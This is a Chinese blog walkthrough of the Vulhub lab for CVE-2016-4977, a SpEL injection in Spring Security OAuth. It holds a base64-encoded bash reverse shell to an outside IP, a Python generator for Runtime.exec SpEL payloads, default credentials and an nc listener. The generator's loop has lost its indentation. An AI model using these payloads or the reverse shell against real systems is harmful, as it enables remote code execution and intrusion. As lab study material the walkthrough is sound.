步骤一:执行以下命令启动靶场环境并在浏览器访问
cd /vulhub/spring/CVE-2016-4977#进入漏洞环境所在目录
docker-compose up -d #启动靶场
docker ps #查看容器信息
步骤二:访问环境
步骤三:192.168.0.107:8080/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test
输入默认口令admin:admin即可
步骤四:反弹shell
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTMuMjMxLjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
步骤五:创建poc.py,下面内容写入
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
CVE-2016-4977目录中运行poc 输入生成的shell
步骤五:
nc -lvvp 6666
、
复制poc生成的链接,仅替换${2*2}部分,保留后面的client_id部分
成功反弹,命令执行成功
标签:vulhub,CVE,java,步骤,4977,message,2016,poc From: https://blog.csdn.net/2301_82061181/article/details/142026621